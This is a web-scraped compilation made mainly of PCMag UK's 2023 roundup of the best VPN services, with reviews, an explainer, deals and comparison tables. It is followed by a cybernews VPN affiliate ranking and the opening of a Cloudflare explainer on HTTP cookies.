Relevant organizations o GreatFire , FreeWeibo, Turkey Blocks 

Reference  Great Cannon 

Italics indicates that maintenance of the tool has been discontinued.  Category  Commons 
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 PCMag UK  

The Best VPN Services for 2023 
Using a VPN, or virtual private network, is one of the best ways to protect your online 

privacy. We've tested and reviewed scores of them, and these are our top picks. 

 

by Max Eddy  

Apr 25, 2023 

The Best Free VPNs for 2023 The Fastest VPNs for 2023 The Best VPN Extensions for 

Chrome in 2023 The Best Mac VPNs for 2023 The Best iPhone VPNs for 2023 

TOP PICKS 

BEST FOR PREMIUM VPN 

NordVPN 

NordVPN packs numerous privacy features into a slick 

client that has grown beyond just VPN protection into a 

privacy juggernaut, offering antivirus and unique tools at a premium price. 

Read NordVPN Review 

BEST FOR WORLD TRAVELERS 

ExpressVPN 

ExpressVPN's dedication to privacy is impressive, and its far-flung 

fleet of servers impresses. Anyone who doesn't need that worldwide 

access may find its price steep, though. 
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Read ExpressVPN Review 

BEST FOR PRIVACY WONKS 

Proton VPN 

Proton VPN offers an excellent collection of features at a reasonable 

price and a nearly peerless free subscription option, making it our top choice for VPNs. 

Read Proton VPN Review 

BEST FOR POWER USERS 

Private Internet Access VPN 

Private Internet Access offers a robust VPN service with advanced 

network and privacy tools packaged into a clever interface. 

Unlimited simultaneous connections helps justify the cost, but its price still gives us pause. 

Read Private Internet Access VPN Review 

BEST FOR PROTECTING MANY DEVICES 

Surfshark VPN 

Surfshark VPN's monthly plan is expensive, but the service is 

still a top value due to its large and expanding collection of 

privacy tools, excellent app, and unlimited simultaneous connections. 

Read Surfshark VPN Review 

BEST FOR FREQUENT TRAVELERS 
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CyberGhost VPN 

CyberGhost offers the largest VPN server network, has a snazzy client, and is 

powered by the latest VPN technology. It's expensive for a VPN that doesn't 

include all the privacy features found among top competitors, however. 

Read CyberGhost VPN Review 

BEST FOR FIRST-TIME VPN USERS 

TunnelBear VPN 

Forget complicated apps and edgy graphics and let the cute-but-powerful 

TunnelBear VPN defend your web traffic. It's easy to use and now capable of 

protecting your entire household with just one account. 

Read TunnelBear VPN Review 

BEST FOR FLEXIBLE PRICING 

IVPN 

IVPN boasts a unique approach to multi-hop connections and 

a privacy-first account system in addition to affordable, flexible prices. Although its collection of 

servers is small, it's a top VPN service. 

Read IVPN Review 

BEST FOR BARGAIN HUNTERS 

Mullvad VPN 
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Mullvad VPN secures your connection and protects your privacy for an unbeatable price and with 

a sterling record for protecting customer privacy. 

Read Mullvad VPN Review 

BEST FOR CONSUMERS OF CONSCIENCE 

Mozilla VPN 

Mozilla VPN protects your privacy, and your subscription fee 

supports a proponent of a free internet. It's approachable and has useful privacy features, such as 

multi-hop and split tunneling options, but it's more expensive than the service that underpins it. 

Read Mozilla VPN Review 

PROS & CONS COMPARE OUR PICKS 

The good news is that more people understand the dangers of allowing 

corporations and governments to monitor everything they say and do 

online, and they want to do something about it. The bad news? Everyone 

from governments to advertisers is after your data, and plenty of people—

including your ISP—might be willing to sell it. 

There's no easy fix to the systemic problem of surveillance capitalism, but a 

VPN can help you regain a modicum of privacy. We've tested plenty, and 

these are the top choices among the services we've reviewed so far, 

followed by what to look for when choosing the best VPN service provider. 

Editors’ Note: While they may not appear in this story, IPVanish and 

StrongVPN are owned by Ziff Davis, PCMag's parent company. 

What Is a VPN and Why Do I Need One? 
When you use a VPN, it routes your internet traffic through an encrypted 

connection to a server controlled by the VPN company. From there, your 

traffic exits onto the web as normal. If you only connect to websites secured 
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with HTTPS, your data will continue to be encrypted, even after leaving the 

VPN. It sounds simple, but VPN usage can improve your privacy online. 

The Best VPN Deals This Week 

 ExpressVPN — 49% off a one-year plan with an extra three months 

and Backblaze cloud storage include — £5.70 per month 

 CyberGhost VPN — 82% off a two-year plan with an extra two 

months for free — £1.92 per month 

 Private Internet Access VPN — 85% off a two-year plan with an extra 

four months for free — £1.69 per month 

 Surfshark VPN — 82% off a two-year plan with an extra two months 

— £1.90 per month 

 NordVPN — 50% off a two-year plan with an extra three months 

— £3.49 per month 

Think of it like this: when your car pulls out of your driveway, someone can 

follow you and see where you're going, how long you're at your 

destination, and when you return. They might even peek into your car to 

learn more about you. With a VPN, it's like driving from your house into an 

underground tunnel, exiting into a closed parking garage, switching to a 

different car, and driving out. No one who was following you can know 

where you went. 
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With a VPN, no one snooping around your network can see what you're up 

to. This is true even if the snooper controls the network. Public Wi-Fi 

networks, which are ubiquitous and convenient, are unfortunately 

also convenient for attackers. How do you know, for example, 

"starbucks_wifi-real" is actually the Wi-Fi network for said coffee shop? In 

fact, a popular security-researcher prank is to create a network with the 

same name as a free, popular service and see how many devices 

automatically connect. 

Even if you're inclined to trust your fellow humans, you might not want to 

trust your internet service provider (ISP). In the US, your ISP has enormous 

insight into your online activities. To make matters worse, Congress has 

decided your ISP is allowed to sell your anonymized browsing history. 

Considering you are already paying for the service, selling your data seems 

egregious. A VPN prevents even your ISP from keeping tabs on you. 

Another VPN benefit is that your true IP address is hidden behind the 

address of the VPN server. This makes it harder to track you across. Even 

dedicated observers have a hard time telling whose internet traffic is whose, 

because your data is mixed in with that of everyone else using the server. 

Hiding your IP address has another benefit: it makes it harder for snoops to 

figure out your location. You can use this to your advantage and connect to 

distant VPN servers to spoof your location, too. 
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Note: VPNs are not the same thing as proxies, with which they are 

sometimes confused. To learn more, read our explainer, VPNs vs. Proxies: 

What's the Difference? 

What Are the Limitations of VPNs? 
VPN services, while helpful, don't provide every kind of threat protection 

you might need. A VPN can't help if you download ransomware or if you 

give up your data in a phishing attack. We strongly recommend using 

local antivirus software, enabling multi-factor authentication wherever 

available, and using a password manager to create and store unique, 

complex passwords for each site and service you use. 

02:06 

 

There are also limitations to how anonymous you can be with a VPN. 

Advertisers have many tactics at their disposal to gather data on you and 

track your movements. These range from online trackers to browser 

fingerprinting. We recommend using the anti-tracking features in your 

browser and installing dedicated ad or tracker blockers. 

Many VPN services also provide their own DNS resolution system. Think of 

DNS as a phone book that turns a text-based URL like "pcmag.com" into an 

IP address computers can understand. Savvy snoops can monitor DNS 
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requests and track your movements online. Greedy attackers can also 

use DNS poisoning to direct you to bogus phishing pages designed to steal 

your data. When you use a VPN's DNS system, it's another layer of 

protection. Secure DNS is improving privacy already, but VPNs go further. 

There's debate among security experts about the efficacy of VPNs. Since 

most sites now support secure HTTPS connections, much of your online 

experience is already encrypted. Secure DNS products like Cloudflare 

1.1.1.1 exist precisely because some feel VPNs are overkill. Still, a VPN 

covers the information not already protected by HTTPS, places a buffer 

between you and the people controlling internet infrastructure, and makes 

online tracking harder. 

VPNs are useful for improving individual privacy, but there are also people 

for whom a VPN is essential for personal and professional safety. Some 

journalists and political activists rely on VPN services to circumvent 

government censorship and safely communicate with the outside world. 

Check the local laws before using a VPN in China, Russia, or any country 

with repressive internet policies. Another place people might want to use a 

VPN is in a war zone such as Ukraine, where hiding locations might well be 

a matter of life and death. 

For comprehensive anonymization of your traffic, you'll want to access the 

free Tor network. While a VPN tunnels your web traffic to a VPN server, Tor 

bounces around your traffic through several volunteer nodes which makes 

it much harder to track. Using Tor also grants access to hidden Dark Web 

sites, which a VPN simply cannot do. That said, some services, such 

as NordVPN and ProtonVPN, offer Tor access on specific servers. Note that 

Tor will slow down your connection even more than a VPN. 

A determined adversary will almost always breach your defenses one way 

or another. What a VPN does is protect you against mass data collection 

and the casual criminal vacuuming up user data for later use. 

How Do I Choose a VPN? 
The VPN market has exploded in the past few years, growing from a niche 

industry to an all-out melee. Many VPN service providers are capitalizing on 

the general population's growing concerns about surveillance and 
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cybercrime, which means it's getting hard to tell when a company is 

providing a useful service and when it's selling snake oil. In fact, fake 

VPNs have even popped up, so be careful. 

When you read reviews looking for the best VPN service, don't just focus on 

speed, since that's the factor you and the VPN have the least control over. 

Since nearly all VPN companies offer some mixture of the same 

technologies, consider value instead when you're looking for your best VPN 

service. How can you get the most for the least? Look for extra features like 

split tunneling, multi-hop connections, and so on. You may not need these 

all the time, but they're useful when you do. 

Nearly every VPN service provider has its own app with a full GUI for 

managing connections and settings, and we recommend using it. You 

might dismiss such things as mere chrome, preferring to manage your VPN 

connections manually. This works, but doing so is tedious, requires manual 

updating, and won't give you access to the additional privacy tools many 

VPNs provide. When considering a VPN, decide whether you can stand 

looking at it. 

The best way to know if a VPN works for you is to try it in your own home. 

See if you can access all the sites and services you need. Find out if the 

interface is usable and if the speeds in your area are acceptable. Some VPN 

services provide free trials, so take advantage of them. Make sure you are 

happy with what you signed up for, and use any money-back guarantees if 

not. 

This is why we also recommend starting with a short-term subscription—a 

week or a month—to make sure you are happy. Yes, you may get a 

discount by signing up for a year, but that's more money at stake should 

you decide the service doesn't meet your performance needs. 

Sometimes, a VPN will be tacked on to another service as a sweetener. 

These are tricky to compare since they often have a completely different set 

of features than the average VPN. The VPN included with Google One lacks 

many of the tools we expect with a VPN, but also comes with 2TB of cloud 

storage—unmatched by any VPN service we've seen. In cases like this it's 

best to consider what you want to use a VPN for and whether a tacked-on 

VPN meets those needs. 
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Is There a 100% Free VPN? 
Not all VPN services require you to pay. There are, in fact, many excellent 

free VPNs. But every free VPN we've tested has limitations. Some limit you 

to just a few simultaneous connections or devices on an account. Others 

restrict your data or limit you to a handful of servers. Still others do all of 

the above. 

Finding the best free VPN is an exercise in balancing those 

restrictions. TunnelBear, for example, lets you use any server on its network 

but limits you to 500MB-1GB per month. Editors' Choice 

winner ProtonVPN has the unique distinction of placing no data restrictions 

on free users, but it does limit which servers you can access. 

For those of you who are at least willing to put down some cash, we also 

have a roundup of the best cheap VPNs. 

Can You Be Tracked Even If You Use a 

VPN? 
If you're using a service to route all your internet traffic through its servers, 

you have to be able to trust that service. It's easier to trust companies that 

have been around longer, simply because their reputation is likely to be 

well established. The trouble is, the VPN industry is young, and some VPN 

companies play dirty. In this environment, figuring out who to trust is 

difficult. 

At PCMag, we give special attention to the privacy practices of VPN 

companies and not just the technology they provide. In our testing, we read 

through the privacy policies and discuss company practices with VPN 

company representatives. We look for a commitment to protecting user 

information, as well as practices that gather and retain as little user 

information as possible. 

As part of our research, we also make sure to find out where the company 

is based and under what legal framework it operates. Some countries don't 

have data-retention laws, making it easier to keep a promise of "We don't 

keep any logs." It's also useful to know under what circumstances a VPN 
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company will hand over information to law enforcement and what 

information it would have on hand to provide if that were to happen. 

The best VPN services have a privacy policy clearly spelling out what the 

service does, what information they collect, and what they do to protect 

said information. Some companies explain they collect some information 

but don't inform you about how they intend to use that information. Others 

are more transparent. 

What Are the Best VPNs for Streaming 

and Banking? 
Some security-conscious companies like banks may be confused by your 

VPN. If your bank sees you logging in from what appears to be another US 

state or even another country, it can raise red flags. Expect to see captchas 

and more frequent multi-factor requests when your VPN is on. 

Netflix and other streaming services often block VPN access, since a VPN 

can be used to access region-locked content. Unfortunately, a service that 

works today may be blocked tomorrow, and vice versa. That could be an 

issue for many readers, because while the preponderance of you appear to 

use VPNs to protect yourselves, nearly a quarter use VPNs primarily for 

streaming. 

In general, we found VPNs have improved their ability to access far-flung 

streaming content. In previous years, it was extremely unusual to find a VPN 

that could stream Netflix content from outside the US. Keep in mind that 

accessing region-locked streaming content can breach terms of service, and 

PCMag cannot supply legal advice for such situations. 

Lastly, because a VPN encrypts your data as it's transmitted from your 

device, it's often impossible to access local devices on the same network. A 

great example is the Google Chromecast media streamer. If you have a VPN 

running, you won't be able to use a Chromecast. You may as well be on a 

different Wi-Fi network. Some VPNs allow for split-tunneling, letting you 

designate applications and sites that can travel outside the VPN connection. 

Others include an option to make traffic visible to LAN devices. 
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How Many Devices Can My VPN Protect at 

Once? 
Some important things to look for when shopping for a VPN include the 

simultaneous connection total the VPN service allows, the number of 

servers available, and the number of server locations the company has. 

Most VPN services allow you to connect up to five devices with a single 

account. Any service offering fewer connections is outside the mainstream. 

Keep in mind you'll need to connect every device you wish to protect to the 

VPN service, so a mere two or three licenses will barely be enough for even 

one person, let alone a connected couple or family. 

This paradigm may be changing, however. Many services now offer far 

more than five simultaneous connections. Some have even done away with 

the restriction entirely. Avira Phantom VPN, Encrypt.me VPN, IPVanish VPN, 

Editors' Choice winner Surfshark VPN, and Windscribe VPN all place no limit 

on the number of simultaneous connections. 

Of course, there are more than just phones and computers in a home. 

Game systems, tablets (including Chromebooks), and smart home 

devices such as light bulbs and fridges all need to connect to the internet. 

Many of these things can't run VPN software on their own. Some VPN 

companies provide instructions on how to configure a router to use a VPN, 

which would protect all the devices on the network. There's some debate 

on whether this will cause even more unforeseen complications. We don't 

recommend this solution to anyone other than an experienced and patient 

tinkerer. 

Where Are My VPN's Servers? 
The distribution of VPN servers is a key consideration. Having numerous 

servers in diverse locales means that, no matter where you travel, you'll be 

able to find a nearby VPN server. The closer the VPN server, the better the 

speed and reliability of the connection it can offer you. Remember, you 

don't need to connect to a far-flung VPN server to gain security benefits. 

Depending on where you live, a server down the street is as safe as one 

across the globe. 
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We also look at how many virtual servers and virtual locations VPN 

companies use. A virtual server is just what it sounds like—a software-

defined server running on server hardware that might have several virtual 

servers onboard. A virtual location is a server configured to appear 

somewhere other than where it is physically located. While neither is 

inherently problematic, it's worrisome to choose one location and discover 

you're connected somewhere else entirely. Some VPN companies take a 

smart view of virtual servers, using them to provide VPN support for 

regions where it might be too risky to physically house a server. When 

VPNs use these technologies, we prefer they be transparent about it. 

What's the Fastest VPN? 
When a VPN is active, your web traffic is taking a more circuitous route 

than usual, often resulting in sluggish download and upload speeds as well 

as increased latency. The good news is, using a VPN probably isn't going to 

remind you of the dial-up days of yore. 

When we test VPNs, we use the Ookla speed test tool. This test provides 

metrics for latency, download speeds, and upload speeds. Any one of these 

can be an important measurement depending on your needs, but we tend 

to view the download speed as the most important. After all, we live in an 

age of digital consumption. Please read our piece on How We Test 

VPNs for the full details. (Note: Ookla is owned by Ziff Davis, PCMag.com's 

parent company.) 

The chart below shows our most recent speed test results, and we have an 

entire piece dedicated just to the fastest VPNs we've tested. For an update 

that talks about the how the pandemic has affected our tests, you can 

read COVID-19 Upended How We Test VPN Speeds. 
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Should You Use a VPN? 
Using a VPN is a simple way to protect your privacy online, and it can be a 

tool for circumventing unwanted internet restrictions, too. None of the 

services listed here are perfect, and there will surely be times when it won't 

make sense to use a VPN. All that said, a VPN is undoubtedly a valuable 

tool, it's well worth having in your personal security toolbox. 

Click through the review links of the best VPN service providers above for 

detailed analysis and performance results. Once you've picked, be sure to 

read our feature on how to set up and use a VPN to get the most from your 

chosen service. 

https://uk.pcmag.com/vpn/93737/how-to-set-up-and-use-a-vpn


WHERE TO BUY 

 BEST FOR PRIVACY WONKS 

Proton VPN     See it 

BEST FOR BARGAIN HUNTERS 

Mullvad VPN     See it 

BEST FOR PREMIUM VPN 

NordVPN      See it 

BEST FOR PROTECTING MANY DEVICES 

Surfshark VPN     See it 

BEST FOR FIRST-TIME VPN USERS 

TunnelBear VPN     See it 

BEST FOR FREQUENT TRAVELERS 

CyberGhost VPN     See it 

BEST FOR WORLD TRAVELERS 

ExpressVPN     See it 

BEST FOR POWER USERS 

Private Internet Access VPN   See it 
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Our Pick 

 

NordVPN 

 

ExpressVPN 

Rating 

EDITORS' CHOICE 

 4.5 Excellent 
Review 

 4.0 Excellent 
Review 

Supported Protocols 
on macOS 

NordLynx (based on WireGuard), 
OpenVPN, IKEv2 

Lightway, OpenVPN, L2TP 

Supported Protocols 
on iOS 

NordLynx (WireGuard), OpenVPN, 
IKEv2/IPSec 

OpenVPN, IKEv2 

Supported Protocols 
on Android 

NordLynx (WireGuard), OpenVPN Lightway 

Simultaneous VPN 
Connections 

6 5 

Server Locations 59 Countries 94 Countries 

Public Third-Party 
Audit 

  

No Ads In Free 
Version? 

  

Geographically 
Diverse Servers 

  

Free Version 
Simultaneous 
Connection Limit 

  

Free Version Data 
Limit 

No Free Version No Free Version 

Free Version Server 
Limit 

  

Free Version   

Free Connection 
Speeds Limited 

  

Can Manually Select 
Server In Free 
Version 

  

Blocks Ads   

Are All Features 
Available In Free 
Version? 

  

500+ Servers   
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Our Pick 

 

Proton VPN 

 

Private Internet Access VPN 

Rating 

EDITORS' CHOICE 

 5.0 Outstanding 
Review 

 4.0 Excellent 
Review 

Supported Protocols 
on macOS 

WireGuard, IKEv2 WireGuard, OpenVPN 

Supported Protocols 
on iOS 

WireGuard, OpenVPN, IKEv2  

Supported Protocols 
on Android 

WireGuard, OpenVPN, IKEv2  

Simultaneous VPN 
Connections 

10 Unlimited 

Server Locations 54 Countries 84 Countries 

Public Third-Party 
Audit 

  

No Ads In Free 
Version? 

  

Geographically 
Diverse Servers 

  

Free Version 
Simultaneous 
Connection Limit 

1  

Free Version Data 
Limit 

Unlimited No Free Version 

Free Version Server 
Limit 

US, Netherlands, Japan  

Free Version   

Free Connection 
Speeds Limited 

  

Can Manually Select 
Server In Free 
Version 

  

Blocks Ads   

Are All Features 
Available In Free 
Version? 

  

500+ Servers   

 

https://uk.pcmag.com/vpn/116478/protonvpn
https://uk.pcmag.com/vpn/4483/private-internet-access-vpn


Our Pick 

 

Surfshark VPN 

 

CyberGhost VPN 

Rating 

EDITORS' CHOICE 

 4.0 Excellent 
Review 

 4.0 Excellent 
Review 

Supported Protocols 
on macOS 

WireGuard, IKEv2 WireGuard, IKEv2 

Supported Protocols 
on iOS 

WireGuard, OpenVPN, IKEv2 WireGuard, IKEv2 

Supported Protocols 
on Android 

WireGuard, OpenVPN, IKEv2 WireGuard, OpenVPN, IKEv2 

Simultaneous VPN 
Connections 

Unlimited 7 

Server Locations 100 Countries 90 Countries 

Public Third-Party 
Audit 

  

No Ads In Free 
Version? 

  

Geographically 
Diverse Servers 

  

Free Version 
Simultaneous 
Connection Limit 

  

Free Version Data 
Limit 

No Free Version No Free Version 

Free Version Server 
Limit 

  

Free Version   

Free Connection 
Speeds Limited 

  

Can Manually Select 
Server In Free 
Version 

  

Blocks Ads   

Are All Features 
Available In Free 
Version? 

  

500+ Servers   

 

https://uk.pcmag.com/vpn/121059/surfshark-vpn
https://uk.pcmag.com/vpn/4486/cyberghost-vpn


Our Pick 

 

TunnelBear VPN 

 

IVPN 

Rating 

EDITORS' CHOICE 

 4.0 Excellent 
Review 

EDITORS' CHOICE 

 4.0 Excellent 
Review 

Supported Protocols 
on macOS 

WireGuard, OpenVPN WireGuard, OpenVPN 

Supported Protocols 
on iOS 

WireGuard, OpenVPN, IKEv2 WireGuard, OpenVPN, IKEv2 

Supported Protocols 
on Android 

OpenVPN WireGuard, OpenVPN 

Simultaneous VPN 
Connections 

Unlimited 7 

Server Locations 23 Countries 32 Countries 

Public Third-Party 
Audit 

  

No Ads In Free 
Version? 

  

Geographically 
Diverse Servers 

  

Free Version 
Simultaneous 
Connection Limit 

  

Free Version Data 
Limit 

Unlimited  

Free Version Server 
Limit 

500MB - 1.5GB Per Month No Free Version 

Free Version All Servers  

Free Connection 
Speeds Limited 

  

Can Manually Select 
Server In Free 
Version 

  

Blocks Ads   

Are All Features 
Available In Free 
Version? 

  

500+ Servers   

 

https://uk.pcmag.com/vpn/83271/tunnelbear-vpn
https://uk.pcmag.com/vpn/84578/ivpn


Our Pick 

 

Mullvad VPN 

 

Mozilla VPN 

Rating 

EDITORS' CHOICE 

 4.5 Excellent 
Review 

 4.0 Excellent 
Review 

Supported Protocols 
on macOS 

WireGuard, OpenVPN WireGuard 

Supported Protocols 
on iOS 

OpenVPN, WireGuard WireGuard 

Supported Protocols 
on Android 

WireGuard, OpenVPN WireGuard 

Simultaneous VPN 
Connections 

5 5 

Server Locations 38 Countries 37 Countries 

Public Third-Party 
Audit 

  

No Ads In Free 
Version? 

  

Geographically 
Diverse Servers 

  

Free Version 
Simultaneous 
Connection Limit 

  

Free Version Data 
Limit 

No Free Version No Free Version 

Free Version Server 
Limit 

  

Free Version   

Free Connection 
Speeds Limited 

  

Can Manually Select 
Server In Free 
Version 

  

Blocks Ads   

Are All Features 
Available In Free 
Version? 

  

500+ Servers   
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 The Best Free VPNs for 2023 
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https://uk.pcmag.com/encryption/4328/the-best-free-vpns


 The Fastest VPNs for 2023 

 The Best VPN Extensions for Chrome in 2023 

 The Best Mac VPNs for 2023 

 The Best iPhone VPNs for 2023 

 

About Max Eddy 

Since my start in 2008, I've covered a wide variety of topics 

from space missions to fax service reviews. At PCMag, 

much of my work has been focused on security and privacy 

services, as well as a video game or two. I also write the 

occasional security columns, focused on making 

information security practical for normal people. I helped organize the Ziff 

Davis Creators Guild union and currently serve as its Unit Chair. 

More From Max Eddy 

 Proton VPN 

 Mullvad VPN 

 Misinformation, MFA Doubts, and AI: Everything We Saw at RSAC 

2023 

 The Best Cheap VPNs for 2023 

 Feds Prioritizing Disruptions Over Arrests in Cyberattack Cases 
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Best VPNs for the UK 
Be secure and private online – choose the best VPN, picked 
specifically for you 

 

Leader of the VPN Market 

1 
Ranking out of 

– 
4.9 / 5 

Exceptional speeds, a no-logs policy, military-grade 
encryption, as well as protection for your passwords and 
files – NordVPN is an excellent choice for full online 
anonymity. 

Visit NordVPN  

 Excellent security 

 No-logs policy 

 High-speed servers 

 Password manager features 

 Secure file storage 

 30-day money-back guarantee 

 Detailed information 

 

2 
Ranking out of 

– 
4.6 / 5 

Surfshark VPN offers intuitive apps that carry advanced 
security solutions, some of the most premium features, 
and extremely low prices. 

Visit Surfshark  

 Unlimited simultaneous connections 

 Awesome speeds 

 No-logs policy 

 30-day money-back guarantee 

 24/7 Support 
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 Detailed information 

 

3 
Ranking out of 

– 
4.4 / 5 

750+ high-speed VPN servers, a fast connection, and 
user-friendly apps make Atlas VPN a great choice for 
your digital needs. 

Visit Atlas VPN  

 750+ servers 

 30-day money-back guarantee 

 Fast and stable connection 

 24/7 support 

 Detailed information 

 

4 
Ranking out of 

– 
4.2 / 5 

ExpressVPN offers unbreakable online security and 
privacy using both industry-leading and in-house-built 
features. 

Visit ExpressVPN  

 Advanced encryption 

 Fast connection speed 

 Independently audited 

 Included Threat manager 

 30-day money-back guarantee 

 Detailed information 
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5 
Ranking out of 

– 
4.0 / 5 

With over 2000 super-fast servers in 50+ countries, the US-
based IPVanish VPN provides an amazing and stable 
performance. 

Visit IPVanish  

 Advanced encryption 

 24/7 customer support 

 30-day money-back guarantee 

 Unlimited simultaneous connections 

 Zero traffic logs 

 Detailed information 

 

6 
Ranking out of 

– 
4.0 / 5 

With CyberGhost, enjoy a speedy performance, extensive 
security features, and one of the largest server fleets in 
the market for a very reasonable price. 

Visit CyberGhost  

 Advanced encryption 

 Independently audited 

 45-day money-back guarantee 

 Over 9700 servers 

 Detailed information 
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7 
Ranking out of 

– 
3.9 / 5 

Servers in more than 78 countries and unlimited data make 
PureVPN a great choice for surfing the web. 

Visit PureVPN  

 1 account for 10 devices 

 Low prices 

 Detailed information 

 

8 
Ranking out of 

– 
3.9 / 5 

Ivacy VPN offers excellent performance and great customer 
support – at one of the lowest prices in the market. 

Visit Ivacy VPN  

 24/7 live chat support 

 30 day money-back guarantee 

 Detailed information 

 

9 
Ranking out of 

– 
3.8 / 5 

Long-time experience and an all-around security suite are what 
come with Norton Secure VPN. It leaves no space for data 
leaks. 

Visit Norton Secure VPN  

 Full no-log policy 

 Ad tracker blocking 

 Split tunneling 

 Protects data from hackers 

 60-day money-back guarantee 

 Detailed information 

https://bi.cybernews.com/purevpn/
https://bi.cybernews.com/purevpn/
https://bi.cybernews.com/purevpn/
https://bi.cybernews.com/purevpn/
https://bi.cybernews.com/purevpn/
https://bi.cybernews.com/purevpn/
https://bi.cybernews.com/purevpn/
https://bi.cybernews.com/purevpn/
https://bi.cybernews.com/purevpn/
https://bi.cybernews.com/purevpn/
https://bi.cybernews.com/ivacyvpn/
https://bi.cybernews.com/ivacyvpn/
https://bi.cybernews.com/ivacyvpn/
https://bi.cybernews.com/ivacyvpn/
https://bi.cybernews.com/ivacyvpn/
https://bi.cybernews.com/ivacyvpn/
https://bi.cybernews.com/ivacyvpn/
https://bi.cybernews.com/ivacyvpn/
https://bi.cybernews.com/ivacyvpn/
https://bi.cybernews.com/ivacyvpn/
https://bi.cybernews.com/ivacyvpn/
https://bi.cybernews.com/ivacyvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/nortonvpn/
https://bi.cybernews.com/purevpn/
https://bi.cybernews.com/ivacyvpn/
https://bi.cybernews.com/nortonvpn/


 

10 
Ranking out of 

– 
3.7 / 5 

Strong security and a zero-logs policy makes PrivateVPN one 
of the best providers. 

Visit PrivateVPN  

 Fast and easy to connect 

 6 simultaneous connections 

 30-day money-back guarantee 

 Zero-logs policy 

 Detailed information 

 

Editor's picks for 2023 

 

4.6 

REVIEW VERDICT 

Surfshark is one of the smoothest VPNs around. Its perfectly intuitive design hides 

advanced security solutions and some of the most premium features in the industry. 

 

 Unlimited simultaneous connections 

 Awesome speeds 

 30-day money-back guarantee 

Visit Provider  
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4.9 

REVIEW VERDICT 

 
NordVPN is our "Editor's choice" for a reason - it will definitely provide you with 

anonymity, safety and full online threat protection. You surely have to try out this 

excellent VPN provider! 

 

 Military-grade security 

 No-logs policy 

 30-day money-back guarantee 

Visit Provider  

 

 

4.4 

REVIEW VERDICT 

 
750+ high-speed VPN servers, a fast connection, and user-friendly apps make 

Atlas VPN a great choice for your digital needs. 

 

 750+ servers 

 30-day money-back guarantee 

 Fast and stable connection 

 24/7 support 

Visit Provider  

 

 

How do we choose the best? 

cybernews.com seeks to give the most relevant information about the tools we review. Our 

reviews are based both on objective (such as speed metrics) and subjective (e. g. user-

friendliness, customer support) criteria. Service providers make constant updates regarding the 

provision of their services, thus, we do our best to keep up with them and change our reviews 

accordingly. However, please note the pricing could change quite frequently. 
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What are cookies? | 

Cookies definition 
An HTTP cookie stores information in a user's web browser. Web servers generate 

cookies and send them to browsers, which then include the cookies in future HTTP 

requests. 

Learning Centre 

 Data privacy 

 Encryption and privacy 

 Cookies 

 Compliance 

 Glossary 

 theNET 

Learning Objectives 

After reading this article you will be able to: 

 Explain what HTTP cookies do 

 Identify the different types of cookies 

 Explore the relationship between cookies and data privacy 

 

What are cookies on websites? 

Cookies are small files of information that a web server generates and sends to a web 

browser. Web browsers store the cookies they receive for a predetermined period of 

time, or for the length of a user's session on a website. They attach the relevant 

cookies to any future requests the user makes of the web server. 

Cookies help inform websites about the user, enabling the websites to personalize 

the user experience. For example, ecommerce websites use cookies to know what 

merchandise users have placed in their shopping carts. In addition, some cookies are 

necessary for security purposes, such as authentication cookies (see below). 

The cookies that are used on the Internet are also called "HTTP cookies." Like much 

of the web, cookies are sent using the HTTP protocol. 

https://www.cloudflare.com/learning/privacy/what-is-data-privacy/
https://www.cloudflare.com/learning/privacy/encryption-and-privacy/
https://www.cloudflare.com/learning/privacy/what-are-cookies/
https://www.cloudflare.com/learning/ddos/glossary/hypertext-transfer-protocol-http/


Where are cookies stored? 

Web browsers store cookies in a designated file on users' devices. The Google 

Chrome web browser, for instance, stores all cookies in a file labeled "Cookies." 

Chrome users can view the cookies stored by the browser by opening developer 

tools, clicking the "Application" tab, and clicking on "Cookies" in the left side menu. 

What are cookies used for? 

User sessions: Cookies help associate website activity with a specific user. A session 

cookie contains a unique string (a combination of letters and numbers) that matches 

a user session with relevant data and content for that user. 

Suppose Alice has an account on a shopping website. She logs into her account from 

the website's homepage. When she logs in, the website's server generates a session 

cookie and sends the cookie to Alice's browser. This cookie tells the website to load 

Alice's account content, so that the homepage now reads, "Welcome, Alice." 

Alice then clicks to a product page displaying a pair of jeans. When Alice's web 

browser sends an HTTP request to the website for the jeans product page, it includes 

Alice's session cookie with the request. Because the website has this cookie, it 

recognizes the user as Alice, and she does not have to log in again when the new 

page loads. 

Personalization: Cookies help a website "remember" user actions or user 

preferences, enabling the website to customize the user's experience. 

If Alice logs out of the shopping website, her username can be stored in a cookie and 

sent to her web browser. Next time she loads that website, the web browser sends 

this cookie to the web server, which then prompts Alice to log in with the username 

she used last time. 

Tracking: Some cookies record what websites users visit. This information is sent to 

the server that originated the cookie the next time the browser has to load content 

from that server. With third-party tracking cookies, this process takes place anytime 

the browser loads a website that uses that tracking service. 

https://developers.google.com/web/tools/chrome-devtools/open
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If Alice has previously visited a website that sent her browser a tracking cookie, this 

cookie may record that Alice is now viewing a product page for jeans. The next time 

Alice loads a website that uses this tracking service, she may see ads for jeans. 

However, advertising is not the only use for tracking cookies. Many analytics services 

also use tracking cookies to anonymously record user activity. (Cloudflare Web 

Analytics is one of the few services that does not use cookies to provide analytics, 

helping to protect user privacy.) 

What are the different types of 

cookies? 

Some of the most important types of cookies to know include: 

Session cookies 

A session cookie helps a website track a user's session. Session cookies are deleted 

after a user's session ends — once they log out of their account on a website or exit 

the website. Session cookies have no expiration date, which signifies to the browser 

that they should be deleted once the session is over. 

Persistent cookies 

Unlike session cookies, persistent cookies remain in a user's browser for a 

predetermined length of time, which could be a day, a week, several months, or even 

years. Persistent cookies always contain an expiration date. 

Authentication cookies 

https://www.cloudflare.com/web-analytics/
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Authentication cookies help manage user sessions; they are generated when a user 

logs into an account via their browser. They ensure that sensitive information is 

delivered to the correct user sessions by associating user account information with a 

cookie identifier string. 

Tracking cookies 

Tracking cookies are generated by tracking services. They record user activity, and 

browsers send this record to the associated tracking service the next time they load a 

website that uses that tracking service. 

Zombie cookies 

Like the "zombies" of popular fiction, zombie cookies regenerate after they are 

deleted. Zombie cookies create backup versions of themselves outside of a browser's 

